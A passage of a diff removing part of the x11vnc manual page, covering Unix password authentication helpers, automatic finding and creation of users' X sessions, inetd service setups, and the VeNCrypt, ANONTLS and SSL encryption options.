-user can authenticate ANY user.
-.IP
-NIS is not required for this mode to work (only that
-.IR getpwnam (3)
-return the encrypted password is required),
-but it is unlikely it will work (as an ordinary user)
-for most modern environments unless NIS is available.
-On the other hand, when x11vnc is run as root it will
-be able to to access /etc/shadow even if NIS is not
-available (note running as root is often done when
-running x11vnc from inetd and xdm/gdm/kdm).
-.IP
-Looked at another way, if you do not want to use the
-.IR su (1)
-method provided by \fB-unixpw\fR (i.e. su_verify()), you
-can run x11vnc as root and use \fB-unixpw_nis.\fR Any users
-with passwords in /etc/shadow can then be authenticated.
-.IP
-In \fB-unixpw_nis\fR mode, under no circumstances is x11vnc's
-user password verifying function based on su called
-(i.e. the function su_verify() that runs /bin/su
-in a pseudoterminal to verify passwords.) However,
-if \fB-unixpw_nis\fR is used in conjunction with the \fB-find\fR
-and \fB-create\fR \fB-display\fR WAIT:... modes then, if x11vnc is
-running as root, /bin/su may be called externally to
-run the find or create commands.
-.PP
-\fB-unixpw_cmd\fR \fIcmd\fR
-.IP
-As \fB-unixpw\fR above, however do not use
-.IR su (1)
-but rather
-run the externally supplied command \fIcmd\fR. The first
-line of its stdin will be the username and the second
-line the received password. If the command exits
-with status 0 (success) the VNC user will be accepted.
-It will be rejected for any other return status.
-.IP
-Dynamic passwords and non-unix passwords, e.g. LDAP,
-can be implemented this way by providing your own custom
-helper program. Note that the remote viewer is given 3
-tries to enter the correct password, and so the program
-may be called in a row that many (or more) times.
-.IP
-If a list of allowed users is needed to limit who can
-log in, use \fB-unixpw\fR [list] in addition to this option.
-.IP
-In FINDDISPLAY and FINDCREATEDISPLAY modes the \fIcmd\fR
-will also be run with the RFB_UNIXPW_CMD_RUN env. var.
-non-empty and set to the corresponding display
-find/create command. The first two lines of input are
-the username and passwd as in the normal case described
-above. To support FINDDISPLAY and FINDCREATEDISPLAY,
-\fIcmd\fR should run the requested command as the user
-(and most likely refusing to run it if the password is
-not correct.) Here is an example script (note it has
-a hardwired bogus password "abc"!)
-.IP
-#!/bin/sh
-# Example x11vnc \fB-unixpw_cmd\fR script.
-# Read the first two lines of stdin (user and passwd)
-read user
-read pass
-.IP
-debug=0
-if [ $debug = 1 ]; then
-echo "user: $user" 1>&2
-echo "pass: $pass" 1>&2
-env | egrep \fB-i\fR 'rfb|vnc' 1>&2
-fi
-.IP
-# Check if the password is valid.
-# (A real example would use ldap lookup, etc!)
-if [ "X$pass" != "Xabc" ]; then
-exit 1 # incorrect password
-fi
-.IP
-if [ "X$RFB_UNIXPW_CMD_RUN" = "X" ]; then
-exit 0 # correct password
-else
-# Run the requested command (finddisplay)
-if [ $debug = 1 ]; then
-echo "run: $RFB_UNIXPW_CMD_RUN" 1>&2
-fi
-exec /bin/su - "$user" \fB-c\fR "$RFB_UNIXPW_CMD_RUN"
-fi
-.IP
-In \fB-unixpw_cmd\fR mode, under no circumstances is x11vnc's
-user password verifying function based on su called
-(i.e. the function su_verify() that runs /bin/su in a
-pseudoterminal to verify passwords.) It is up to the
-supplied unixpw_cmd to do user switching if desired
-and if it has the permissions to do so.
-.PP
-\fB-find\fR
-.IP
-Find the user's display using FINDDISPLAY. This
-is an alias for "\fB-display\fR \fIWAIT:cmd=FINDDISPLAY\fR".
-.IP
-Note: if a \fB-display\fR occurs later on the command line
-it will override the \fB-find\fR setting.
-.IP
-For this and the next few options see \fB-display\fR WAIT:...
-below for all of the details.
-.PP
-\fB-finddpy\fR
-.IP
-Run the FINDDISPLAY program, print out the found
-display (if any) and exit. Output is like: DISPLAY=:0.0
-DISPLAY=:0.0,XPID=12345 or DISPLAY=:0.0,VT=7. XPID is
-the process ID of the found X server. VT is the Linux
-virtual terminal of the X server.
-.PP
-\fB-listdpy\fR
-.IP
-Have the FINDDISPLAY program list all of your displays
-(i.e. all the X displays on the local machine that you
-have access rights to). x11vnc then exits.
-.PP
-\fB-findauth\fR \fI[disp]\fR
-.IP
-Apply the \fB-find/-finddpy\fR heuristics to try to guess
-the XAUTHORITY file for DISPLAY 'disp'. If 'disp'
-is not supplied, then the value in the \fB-display\fR on
-the cmdline is used; failing that $DISPLAY is used;
-and failing that ":0" is used. x11vnc then exits.
-.IP
-If nothing is printed out, that means no XAUTHORITY was
-found for 'disp'; i.e. failure. If "XAUTHORITY="
-is printed out, that means use the default (i.e. do
-not set XAUTHORITY). If "XAUTHORITY=/path/to/file"
-is printed out, then use that file.
-.IP
-XDM/GDM/KDM: if you are running x11vnc as root and want
-to find the XAUTHORITY before anyone has logged into an
-X session yet, use: x11vnc \fB-env\fR FD_XDM=1 \fB-findauth\fR ...
-(This will also find the XAUTHORITY if a user is already
-logged into the X session.) When running as root,
-FD_XDM=1 will be tried if the initial \fB-findauth\fR fails.
-.PP
-\fB-create\fR
-.IP
-First try to find the user's display using FINDDISPLAY,
-if that doesn't succeed create an X session via the
-FINDCREATEDISPLAY method. This is an alias for
-"\fB-display\fR \fIWAIT:cmd=FINDCREATEDISPLAY-Xvfb\fR".
-.IP
-Note: if a \fB-display\fR occurs later on the command line
-it will override the \fB-create\fR setting.
-.IP
-SSH NOTE: for both \fB-find\fR and \fB-create\fR you can (should!)
-add the "\fB-localhost\fR" option to force SSH tunnel access.
-.PP
-\fB-xdummy\fR
-.IP
-As in \fB-create,\fR except Xdummy instead of Xvfb.
-.PP
-\fB-xvnc\fR
-.IP
-As in \fB-create,\fR except Xvnc instead of Xvfb.
-.PP
-\fB-xvnc_redirect\fR
-.IP
-As in \fB-create,\fR except Xvnc.redirect instead of Xvfb.
-.PP
-\fB-xdummy_xvfb\fR
-.IP
-Sets WAIT:cmd=FINDCREATEDISPLAY-Xdummy,Xvfb
-.PP
-\fB-create_xsrv\fR \fIstr\fR
-.IP
-Sets WAIT:cmd=FINDCREATEDISPLAY-<str> Can be on cmdline
-after anything that sets WAIT:.. and other things
-(e.g. \fB-svc,\fR \fB-xdmsvc)\fR to adjust the X server list.
-Example: \fB-svc\fR ... \fB-create_xsrv\fR Xdummy,X
-.PP
-\fB-svc\fR
-.IP
-Terminal services mode based on SSL access. Alias for
-\fB-display\fR WAIT:cmd=FINDCREATEDISPLAY-Xvfb \fB-unixpw\fR \fB-users\fR
-unixpw= \fB-ssl\fR SAVE Also "\fB-service\fR".
-.IP
-Note: if a \fB-display,\fR \fB-unixpw,\fR \fB-users,\fR or \fB-ssl\fR occurs
-later on the command line it will override the \fB-svc\fR
-setting.
-.PP
-\fB-svc_xdummy\fR
-.IP
-As \fB-svc\fR except Xdummy instead of Xvfb.
-.PP
-\fB-svc_xvnc\fR
-.IP
-As \fB-svc\fR except Xvnc instead of Xvfb.
-.PP
-\fB-svc_xdummy_xvfb\fR
-.IP
-As \fB-svc\fR with Xdummy,Xvfb.
-.PP
-\fB-xdmsvc\fR
-.IP
-Display manager Terminal services mode based on SSL.
-Alias for \fB-display\fR WAIT:cmd=FINDCREATEDISPLAY-Xvfb.xdmcp
-\fB-unixpw\fR \fB-users\fR unixpw= \fB-ssl\fR SAVE Also "\fB-xdm_service\fR".
-.IP
-Note: if a \fB-display,\fR \fB-unixpw,\fR \fB-users,\fR or \fB-ssl\fR occurs
-later on the command line it will override the \fB-xdmsvc\fR
-setting.
-.IP
-To create a session a user will have to first log in
-to the \fB-unixpw\fR dialog and then log in again to the
-XDM/GDM/KDM prompt. Subsequent re-connections will
-only require the \fB-unixpw\fR password. See the discussion
-under \fB-display\fR WAIT:... for more details about XDM,
-etc configuration.
-.IP
-Remember to enable XDMCP in the xdm-config, gdm.conf,
-or kdmrc configuration file. See \fB-display\fR WAIT: for
-more info.
-.PP
-\fB-sshxdmsvc\fR
-.IP
-Display manager Terminal services mode based on SSH.
-Alias for \fB-display\fR WAIT:cmd=FINDCREATEDISPLAY-Xvfb.xdmcp
-\fB-localhost.\fR
-.IP
-The \fB-localhost\fR option constrains connections to come
-in via a SSH tunnel (which will require a login).
-To create a session a user will also have to log into
-the XDM GDM KDM prompt. Subsequent re-connections will
-only only require the SSH login. See the discussion
-under \fB-display\fR WAIT:... for more details about XDM,
-etc configuration.
-.IP
-Remember to enable XDMCP in the xdm-config, gdm.conf,
-or kdmrc configuration file. See \fB-display\fR WAIT: for
-more info.
-.PP
-\fB-unixpw_system_greeter\fR
-.IP
-Present a "Press 'Escape' for System Greeter" option
-to the connecting VNC client in combined \fB-unixpw\fR
-and xdmcp FINDCREATEDISPLAY modes (e.g. \fB-xdmsvc).\fR
-.IP
-Normally in a \fB-unixpw\fR mode the VNC client must
-supply a valid username and password to gain access.
-However, if \fB-unixpw_system_greeter\fR is supplied AND
-the FINDCREATEDISPLAY command matches 'xdmcp', then
-the user has the option to press Escape and then get a
-XDM/GDM/KDM login/greeter panel instead. They will then
-supply a username and password directly to the greeter.
-.IP
-Otherwise, in xdmcp FINDCREATEDISPLAY mode the user
-must supply his username and password TWICE. First to
-the initial unixpw login dialog, and second to the
-subsequent XDM/GDM/KDM greeter. Note that if the user
-re-connects and supplies his username and password in
-the unixpw dialog the xdmcp greeter is skipped and
-he is connected directly to his existing X session.
-So the \fB-unixpw_system_greeter\fR option avoids the extra
-password at X session creation time.
-.IP
-Example: x11vnc \fB-xdmsvc\fR \fB-unixpw_system_greeter\fR
-See \fB-unixpw\fR and \fB-display\fR WAIT:... for more info.
-.IP
-The special options after a colon at the end of the
-username (e.g. user:solid) described under \fB-display\fR
-WAIT: are also applied in this mode if they are typed
-in before the user hits Escape. The username is ignored
-but the colon options are not.
-.IP
-The default message is 2 lines in a small font, set
-the env. var. X11VNC_SYSTEM_GREETER1=true for a 1 line
-message in a larger font.
-.IP
-If the user pressed Escape the FINDCREATEDISPLAY command
-will be run with the env. var. X11VNC_XDM_ONLY=1.
-.IP
-Remember to enable XDMCP in the xdm-config, gdm.conf,
-or kdmrc configuration file. See \fB-display\fR WAIT: for
-more info.
-.PP
-\fB-redirect\fR \fIport\fR
-.IP
-As in FINDCREATEDISPLAY-Xvnc.redirect mode except
-redirect immediately (i.e. without X session finding
-or creation) to a VNC server listening on port. You
-can also supply host:port to redirect to a different
-machine.
-.IP
-If 0 <= port < 200 it is taken as a VNC display (5900 is
-added to get the actual port), if port < 0 then \fB-port\fR
-is used.
-.IP
-Probably the only reason to use the \fB-redirect\fR option
-is in conjunction with SSL support, e.g. \fB-ssl\fR SAVE.
-This provides an easy way to add SSL encryption to a VNC
-server that does not support SSL (e.g. Xvnc or vnc.so)
-In fact, the protocol does not even need to be VNC,
-and so "\fB-rfbport\fR \fIport1 \fB-ssl\fR SAVE \fB-redirect\fR host:port2\fR"
-can act as a replacement for
-.IR stunnel (1).
-.IP
-This mode only allows one redirected connection.
-The \fB-forever\fR option does not apply. Use \fB-inetd\fR or
-\fB-loop\fR for persistent service.
-.PP
-\fB-display\fR \fIWAIT:...\fR
-.IP
-A special usage mode for the normal \fB-display\fR option.
-Useful with \fB-unixpw,\fR but can be used independently
-of it. If the display string begins with WAIT: then
-x11vnc waits until a VNC client connects before opening
-the X display (or \fB-rawfb\fR device).
-.IP
-This could be useful for delaying opening the display
-for certain usage modes (say if x11vnc is started at
-boot time and no X server is running or users logged
-in yet).
-.IP
-If the string is, e.g. WAIT:0.0 or WAIT:1, i.e. "WAIT"
-in front of a normal X display, then that indicated
-display is used.
-.IP
-One can also insert a geometry between colons, e.g.
-WAIT:1280x1024:... to set the size of the display the
-VNC client first attaches to since some VNC viewers
-will not automatically adjust to a new framebuffer size.
-.IP
-A more interesting case is like this:
-.IP
-WAIT:cmd=/usr/local/bin/find_display
-.IP
-in which case the command after "cmd=" is run to
-dynamically work out the DISPLAY and optionally the
-XAUTHORITY data. The first line of the command output
-must be of the form DISPLAY=<xdisplay>. On Linux
-if the virtual terminal is known append ",VT=n" to
-this string and the
-.IR chvt (1)
-program will also be run.
-Any remaining output is taken as XAUTHORITY data.
-It can be either of the form XAUTHORITY=<file> or raw
-xauthority data for the display. For example;
-.IP
-xauth extract - $DISPLAY"
-.IP
-NOTE: As specified in the previous paragraph, you can
-supply your own WAIT:cmd=... program or script, BUT
-there are two very useful *BUILT-IN* ones: FINDDISPLAY
-(alias \fB-find\fR above) and FINDCREATEDISPLAY (alias \fB-create\fR
-above.) Most people use these instead of creating
-their own script. Read the following (especially the
-BUILT-IN modes sections) to see how to configure these
-two useful builtin \fB-display\fR WAIT: modes.
-.IP
-In the case of \fB-unixpw\fR (and \fB-unixpw_nis\fR only if x11vnc
-is running as root), then the cmd= command is run
-as the user who just authenticated via the login and
-password prompt.
-.IP
-In the case of \fB-unixpw_cmd,\fR the commands will also be
-run as the logged-in user, as long as the user-supplied
-helper program supports RFB_UNIXPW_CMD_RUN (see the
-\fB-unixpw_cmd\fR option.)
-.IP
-Also in the case of \fB-unixpw,\fR the user logging in can
-place a colon at the end of her username and supply
-a few options: scale=, scale_cursor= (or sc=), solid
-(or so), id=, clear_mods (or cm), clear_keys (or
-ck), clear_all (or ca), repeat, speeds= (or sp=),
-readtimeout= (or rd=), viewonly (or vo), nodisplay=
-(or nd=), rotate= (or ro=), or noncache (or nc),
-all separated by commas if there is more than one.
-After the user logs in successfully, these options will
-be applied to the VNC screen. For example,
-.IP
-login: fred:scale=3/4,sc=1,repeat
-Password: ...
-.IP
-login: runge:sp=modem,rd=120,solid
-.IP
-for convenience m/n implies scale= e.g. fred:3/4 If you
-type and enter your password incorrectly, to retrieve
-your long "login:" line press the Up arrow once
-(before typing anything else).
-.IP
-Most of these colon options only apply to the builtin
-FINDDISPLAY and FINDCREATEDISPLAY modes, but note
-that they are passed to the extrenal command in the
-environment as well and so could be used.
-.IP
-In the login panel, press F1 to get a list of the
-available options that you can add after the username.
-.IP
-Another option is "geom=WxH" or "geom=WxHxD" (or
-ge=). This only has an effect in FINDCREATEDISPLAY
-mode when a virtual X server such as Xvfb is going
-to be created. It sets the width and height of
-the new display, and optionally the color depth as
-well.
-.IP
-You can also supply "gnome", "kde", "twm",
-"fvwm", "mwm", "dtwm", "wmaker", "xfce",
-"lxde", "enlightenment", "Xsession", or
-"failsafe" (same as "xterm") to have the created
-display use that mode for the user session.
-.IP
-Specify "tag=..." to set the unique FD_TAG desktop
-session tag described below. Note: this option will
-be ignored if the FD_TAG env. var. is already set or
-if the viewer-side supplied value is not completely
-composed of alphanumeric or '_' or '-' characters.
-.IP
-User preferences file: Instead of having the user type
-in geom=WxH,... etc. every time he logs in to find
-or create his X session, if you set FD_USERPREFS to
-a string that does not contain the "/" character,
-then the user's home directory is prepended to that
-string and if the file exists its first line is read
-and appended to any options he supplied at the login:
-prompt. For example \fB-env\fR FD_USERPREFS=.x11vnc_create
-and the user put "geom=1600x1200" in his
-~/.x11vnc_create file.
-.IP
-To disable the option setting set the environment
-variable X11VNC_NO_UNIXPW_OPTS=1 before starting x11vnc.
-To set any other options, the user can use the gui
-(x11vnc \fB-gui\fR connect) or the remote control method
-(x11vnc \fB-R\fR opt:val) during his VNC session.
-.IP
-So we see the combination of \fB-display\fR WAIT:cmd=... and
-\fB-unixpw\fR allows automatic pairing of an unix
-authenticated VNC user with his desktop. This could
-be very useful on SunRays and also any system where
-multiple users share a given machine. The user does
-not need to remember special ports or passwords set up
-for his desktop and VNC.
-.IP
-A nice way to use WAIT:cmd=... is out of
-.IR inetd (8)
-(it automatically forks a new x11vnc for each user).
-You can have the x11vnc inetd spawned process run as,
-say, root or nobody. When run as root (for either inetd
-or display manager), you can also supply the option
-"\fB-users\fR \fIunixpw=\fR" to have the x11vnc process switch to
-the user as well. Note: there will be a 2nd SSL helper
-process that will not switch, but it is only encoding
-and decoding the encrypted stream at that point.
-.IP
-BUILT-IN modes:
-.IP
-\fB--\fR Automatic Finding of User X Sessions \fB--\fR
-.IP
-As a special case, WAIT:cmd=FINDDISPLAY will run a
-script that works on most Unixes to determine a user's
-DISPLAY variable and xauthority data (see
-.IR who (1)
-).
-.IP
-NOTE: The option "\fB-find\fR" is an alias for this mode.
-.IP
-To have this default script printed to stdout (e.g. for
-customization) run with WAIT:cmd=FINDDISPLAY-print To
-have the script run to print what display it would find
-use "\fB-finddpy\fR" or WAIT:cmd=FINDDISPLAY-run
-.IP
-The standard script runs
-.IR xdpyinfo (1)
-run on potential
-displays. If your X server(s) have a login greeter
-that exclusively grabs the Xserver, then xdpyinfo
-blocks forever and this mode will not work. See
-www.karlrunge.com/x11vnc/faq.html#faq-display-manager
-for how to disable this for dtgreet on Solaris and
-possibly for other greeters.
-.IP
-In \fB-find/cmd=FINDDISPLAY\fR mode, if you set FD_XDM=1,
-e.g. 'x11vnc \fB-env\fR FD_XDM=1 \fB-find\fR ...' and x11vnc is
-running as root (e.g. inetd) then it will try to find
-the XAUTHORITY file of a running XDM/GDM/KDM login
-greeter (i.e. no user has logged into an X session yet.)
-.IP
-As another special case, WAIT:cmd=HTTPONCE will allow
-x11vnc to service one http request and then exit.
-This is usually done in \fB-inetd\fR mode to run on, say,
-port 5800 and allow the Java vncviewer to be downloaded
-by client web browsers. For example:
-.IP
-5815 stream tcp nowait root /usr/sbin/tcpd /.../x11vnc \\
-\fB-inetd\fR \fB-q\fR \fB-http_ssl\fR \fB-prog\fR /.../x11vnc \\
-\fB-display\fR WAIT:cmd=HTTPONCE
-.IP
-Where /.../x11vnc is the full path to x11vnc.
-It is used in the Apache SSL-portal example (see FAQ).
-.IP
-In this mode you can set X11VNC_SKIP_DISPLAY to a
-comma separated list of displays (e.g. ":0,:1") to
-ignore in the finding process. The ":" is optional.
-Ranges n-m e.g. 0-20 can also be supplied. This string
-can also be set by the connecting user via "nd="
-using "+" instead of "," If "nd=all" or you set
-X11VNC_SKIP_DISPLAY=all then all display finding fails
-as if you set X11VNC_FINDDISPLAY_ALWAYS_FAILS=1 (below.)
-.IP
-On some systems
-.IR lsof (1)
-can be very slow. Set the
-env. var. FIND_DISPLAY_NO_LSOF=1 to skip using lsof to
-try to find the Linux VT the X server is running on.
-set FIND_DISPLAY_NO_VT_FIND=1 to avoid looking at all.
-.IP
-\fB--\fR Automatic Creation of User X Sessions \fB--\fR
-.IP
-An interesting option is WAIT:cmd=FINDCREATEDISPLAY
-that is like FINDDISPLAY in that is uses the same method
-to find an existing display. However, if it does not
-find one it will try to *start* up an X server session
-for the user. This is the only time x11vnc tries to
-actually start up an X server.
-.IP
-NOTE: The option "\fB-create\fR" is an alias for this mode.
-.IP
-It will start looking for an open display number at :20
-Override via X11VNC_CREATE_STARTING_DISPLAY_NUMBER=n
-By default 80 X displays are allowed (i.e. going to :99)
-Override via X11VNC_CREATE_MAX_DISPLAYS=n
-.IP
-For its heuristics, the create display script sets
-LC_ALL=C so that command output is uniform. By default
-it will try to restore LC_ALL right before starting the
-user session. However, if you don't mind it keeping
-LC_ALL=C set the env. var.: X11VNC_CREATE_LC_ALL_C_OK=1
-.IP
-By default FINDCREATEDISPLAY will try Xvfb and then
-Xdummy:
-.IP
-The Xdummy wrapper is part of the x11vnc source code
-(x11vnc/misc/Xdummy) It should be available in PATH
-and have run "Xdummy \fB-install"\fR once to create the
-shared library. Xdummy only works on Linux. As of
-12/2009 it no longer needs to be run as root, and the
-default is to not run as root. In some circumstances
-permissions may require running it as root, in these
-cases specify FD_XDUMMY_RUN_AS_ROOT=1, this is the same
-as supplying \fB-root\fR to the Xdummy cmdline.
-.IP
-Xvfb is available on most platforms and does not
-require root.
-.IP
-An advantage of Xdummy over Xvfb is that Xdummy supports
-RANDR dynamic screen resizing.
-.IP
-When x11vnc exits (i.e. user disconnects) the X
-server session stays running in the background.
-The FINDDISPLAY will find it directly next time.
-The user must exit the X session in the usual way for
-it to terminate (or kill the X server process if all
-else fails).
-.IP
-To troubleshoot the FINDCREATEDISPLAY mechanism,
-set the following env. var. to an output log file,
-e.g \fB-env\fR CREATE_DISPLAY_OUTPUT=/tmp/mydebug.txt
-.IP
-So this is a somewhat odd mode for x11vnc in that it
-will start up and poll virtual X servers! This can
-be used from, say,
-.IR inetd (8)
-to provide a means of
-definitely getting a desktop (either real or virtual)
-on the machine. E.g. a desktop service:
-.IP
-5900 stream tcp nowait root /usr/sbin/tcpd /.../x11vnc
-\fB-inetd\fR \fB-q\fR \fB-http\fR \fB-ssl\fR SAVE \fB-unixpw\fR \fB-users\fR unixpw=\\
-\fB-passwd\fR secret \fB-prog\fR /.../x11vnc \\
-\fB-display\fR WAIT:cmd=FINDCREATEDISPLAY
-.IP
-Where /.../x11vnc is the full path to x11vnc.
-.IP
-See the \fB-svc/-service\fR option alias above.
-.IP
-If for some reason you do not want x11vnc to ever
-try to find an existing display set the env. var
-X11VNC_FINDDISPLAY_ALWAYS_FAILS=1 (also \fB-env\fR ...)
-This is the same as setting X11VNC_SKIP_DISPLAY=all or
-supplying "nd=all" after "username:"
-.IP
-Use WAIT:cmd=FINDCREATEDISPLAY-print to print out the
-script that is used for this.
-.IP
-You can specify the preferred X server order via e.g.,
-WAIT:cmd=FINDCREATEDISPLAY-Xdummy,Xvfb,X and/or leave
-out ones you do not want. The the case "X" means try
-to start up a real, hardware X server using
-.IR xinit (1)
-or
-.IR startx (1).
-If there is already an X server running
-the X case may only work on Linux (see
-.IR startx (1)
-).
-.IP
-"Xvnc" will start up a VNC X server (real-
-or tight-vnc, e.g. use if Xvfb is not available).
-"Xsrv" will start up the server program in the
-variable "FD_XSRV" if it is non-empty. You can make
-this be a wrapper script if you like (it must handle :N,
-\fB-geometry,\fR and \fB-depth\fR and other X server options).
-.IP
-You can set the environment variable FD_GEOM (or
-X11VNC_CREATE_GEOM) to WxH or WxHxD to set the width
-and height and optionally the color depth of the
-created display. You can also set FD_SESS to be the
-session (short name of the windowmanager: kde, gnome,
-twm, failsafe, etc.). FD_OPTS contains extra options
-to pass to the X server. You can also set FD_PROG to
-be the full path to the session/windowmanager program.
-.IP
-More FD tricks: FD_CUPS=port or FD_CUPS=host:port
-will set the cups printing environment. Similarly for
-FD_ESD=port or FD_ESD=host:port for esddsp sound
-redirection. Set FD_EXTRA to a command to be run a
-few seconds after the X server starts up. Set FD_TAG
-to be a unique name for the session, it is set as an
-X property, that makes FINDDISPLAY only find sessions
-with that tag value.
-.IP
-Set FD_XDMCP_IF to the network interface that the
-display manager is running on; default is 'localhost'
-but you may need to set it to '::1' on some IPv6 only
-systems or misconfigured display managers.
-.IP
-If you want the FINDCREATEDISPLAY session to contact an
-XDMCP login manager (xdm/gdm/kdm) on the same machine,
-then use "Xvfb.xdmcp" instead of "Xvfb", etc.
-The user will have to supply his username and password
-one more time (but he gets to select his desktop type
-so that can be useful). For this to work, you will
-need to enable localhost XDMCP (udp port 177) for the
-display manager. This seems to be:
-.IP
-for gdm in gdm.conf: Enable=true in section [xdmcp]
-for kdm in kdmrc: Enable=true in section [Xdmcp]
-for xdm in xdm-config: DisplayManager.requestPort: 177
-.IP
-See the shorthand options above "\fB-svc\fR", "\fB-xdmsvc\fR"
-and "\fB-sshxdmsvc\fR" that specify the above options for
-some useful cases.
-.IP
-If you set the env. var WAITBG=1 x11vnc will go into
-the background once listening in wait mode.
-.IP
-Another special mode is FINDCREATEDISPLAY-Xvnc.redirect,
-(or FINDDISPLAY-Xvnc.redirect). In this case it will
-start up Xvnc as above if needed, but instead of
-polling it in its normal way, it simply does a socket
-redirection of the connected VNC viewer to the Xvnc.
-.IP
-So in Xvnc.redirect x11vnc does no VNC but merely
-transfers the data back and forth. This should be
-faster then x11vnc's polling method, but not as fast
-as connecting directly to the Xvnc with the VNC Viewer.
-The idea here is to take advantage of x11vnc's display
-finding/creating scheme, SSL, and perhaps a few others.
-Most of x11vnc's options do not apply in this mode.
-.IP
-Xvnc.redirect should also work for the vnc.so X server
-module for the h/w display however it will work only
-for finding the display and the user must already be
-logged into the X console.
-.PP
-\fB-vencrypt\fR \fImode\fR
-.IP
-The VeNCrypt extension to the VNC protocol allows
-encrypted SSL/TLS connections. If the \fB-ssl\fR mode is
-enabled, then VeNCrypt is enabled as well BY DEFAULT
-(they both use a SSL/TLS tunnel, only the protocol
-handshake is a little different.)
-.IP
-To control when and how VeNCrypt is used, specify the
-mode string. If mode is "never", then VeNCrypt is
-not used. If mode is "support" (the default) then
-VeNCrypt is supported. If mode is "only", then the
-similar and older ANONTLS protocol is not simultaneously
-supported. x11vnc's normal SSL mode (vncs://) will be
-supported under \fB-ssl\fR unless you set mode to "force".
-.IP
-If mode is prefixed with "nodh:", then Diffie Hellman
-anonymous key exchange is disabled. If mode is prefixed
-with "nox509:", then X509 key exchange is disabled.
-.IP
-To disable all Anonymous Diffie-Hellman access
-(susceptible to Man-In-The-Middle attack) you will need
-to supply "\fB-vencrypt\fR \fInodh:support \fB-anontls\fR never\fR"
-or "\fB-vencrypt\fR \fInodh:only\fR"
-.IP
-If mode is prefixed with "newdh:", then new Diffie
-Hellman parameters are generated for each connection
-(this can be time consuming: 1-60 secs; see \fB-dhparams\fR
-below for a faster way) rather than using the
-fixed values in the program. Using fixed, publicly
-known values is not known to be a security problem.
-This setting applies to ANONTLS as well.
-.IP
-Long example: \fB-vencrypt\fR newdh:nox509:support
-.IP
-Also, if mode is prefixed with "plain:", then
-if \fB-unixpw\fR mode is active the VeNCrypt "*Plain"
-username+passwd method is enabled for Unix logins.
-Otherwise in \fB-unixpw\fR mode the normal login panel is
-provided.
-.IP
-You *MUST* supply the \fB-ssl\fR option for VeNCrypt to
-be active. The \fB-vencrypt\fR option only fine-tunes its
-operation.
-.PP
-\fB-anontls\fR \fImode\fR
-.IP
-The ANONTLS extension to the VNC protocol allows
-encrypted SSL/TLS connections. If the \fB-ssl\fR mode is
-enabled, then ANONTLS is enabled as well BY DEFAULT
-(they both use a SSL/TLS tunnel, only the protocol
-handshake is a little different.)
-.IP
-ANONTLS is an older SSL/TLS mode introduced by vino.
-.IP
-It is referred to as 'TLS' for its registered VNC
-security-type name, but we use the more descriptive
-\'ANONTLS' here because it provides only Anonymous
-Diffie-Hellman encrypted connections, and hence no
-possibility for certificate authentication.
-.IP
-To control when and how ANONTLS is used, specify the
-mode string. If mode is "never", then ANONTLS is not
-used. If mode is "support" (the default) then ANONTLS
-is supported. If mode is "only", then the similar
-VeNCrypt protocol is not simultaneously supported.
-x11vnc's normal SSL mode (vncs://) will be supported
-under \fB-ssl\fR unless you set mode to "force".
-.IP
-If mode is prefixed with "newdh:", then new Diffie
-Hellman parameters are generated for each connection
-(this can be time consuming: 1-60 secs; see \fB-dhparams\fR
-below for a faster way) rather than using the
-fixed values in the program. Using fixed, publicly
-known values is not known to be a security problem.
-This setting applies to VeNCrypt as well. See the
-description of "plain:" under \fB-vencrypt.\fR
-.IP
-Long example: \fB-anontls\fR newdh:plain:support
-.IP
-You *MUST* supply the \fB-ssl\fR option for ANONTLS to
-be active. The \fB-anontls\fR option only fine-tunes its
-operation.
-.PP
-\fB-sslonly\fR
-.IP
-Same as: "\fB-vencrypt\fR \fInever \fB-anontls\fR never\fR" i.e. it
-disables the VeNCrypt and ANONTLS encryption methods
-and only allows standard SSL tunneling. You must also
-supply the \fB-ssl\fR ... option (see below.)
-.PP
-\fB-dhparams\fR \fIfile\fR
-.IP
-For some operations a set of Diffie Hellman parameters
-(prime and generator) is needed. If so, use the
-parameters in \fIfile\fR. In particular, the VeNCrypt and
-ANONTLS anonymous DH mode need them. By default a
-fixed set is used. If you do not want to do that you
-can specify "newdh:" to the \fB-vencrypt\fR and \fB-anontls\fR
-options to generate a new set each session. If that
-is too slow for you, use \fB-dhparams\fR file to a set you
-created manually via "openssl dhparam \fB-out\fR file 1024"
-.PP
-\fB-nossl\fR
-.IP
-Disable the \fB-ssl\fR option (see below). Since \fB-ssl\fR is off
-by default \fB-nossl\fR would only be used on the commandline
-to unset any *earlier* \fB-ssl\fR option (or \fB-svc...)\fR
-.PP
-\fB-ssl\fR \fI[pem]\fR
-.IP
-Use the openssl library (www.openssl.org) to provide a
-built-in encrypted SSL/TLS tunnel between VNC viewers
-and x11vnc. This requires libssl support to be
-compiled into x11vnc at build time. If x11vnc is not
-built with libssl support it will exit immediately when
-\fB-ssl\fR is prescribed. See the \fB-stunnel\fR option below for
-an alternative.
-.IP
-The VNC Viewer-side needs to support SSL/TLS as well.
-See this URL and also the discussion below for
-ideas on how to enable SSL support for the viewer:
-http://www.karlrunge.com/x11vnc/faq.html#faq-ssl-tun
-nel-viewers . x11vnc provides an SSL enabled Java
-viewer applet in the classes/ssl directory (-http or
-\fB-httpdir\fR options.) The SSVNC viewer package supports
-SSL tunnels too.
-.IP
-If the VNC Viewer supports VeNCrypt or ANONTLS (vino's
-encryption mode) they are also supported by the \fB-ssl\fR
-mode (see the \fB-vencrypt\fR and \fB-anontls\fR options for more
-info; use \fB-sslonly\fR to disable both of them.)
-.IP
-Use "\fB-ssl\fR \fI/path/to/mycert.pem\fR" to specify an SSL
-certificate file in PEM format to use to identify and
-provide a key for this server. See
-.IR openssl (1)
-for more
-info about PEMs and the \fB-sslGenCert\fR and "\fB-ssl\fR \fISAVE\fR"
-options below for how to create them.
-.IP
-The connecting VNC viewer SSL tunnel can (at its option)
-authenticate this server if it has the public key part
-of the certificate (or a common certificate authority,
-CA, is a more sophisticated way to verify this server's
-cert, see \fB-sslGenCA\fR below). This authentication is
-done to prevent Man-In-The-Middle attacks. Otherwise,
-if the VNC viewer simply accepts this server's key
-WITHOUT verification, the traffic is protected from
-passive sniffing on the network, but *NOT* from
-Man-In-The-Middle attacks. There are hacker tools
-like dsniff/webmitm and cain that implement SSL
-Man-In-The-Middle attacks.
-.IP
-If [pem] is empty or the string "SAVE" then the
-.IR openssl (1)
-command must be available to generate the
-certificate the first time. A self-signed certificate
-is generated (see \fB-sslGenCA\fR and \fB-sslGenCert\fR for use
-of a Certificate Authority.) It will be saved to the
-file ~/.vnc/certs/server.pem. On subsequent calls if
-that file already exists it will be used directly.
-.IP
-Use "SAVE_NOPROMPT" to avoid being prompted to
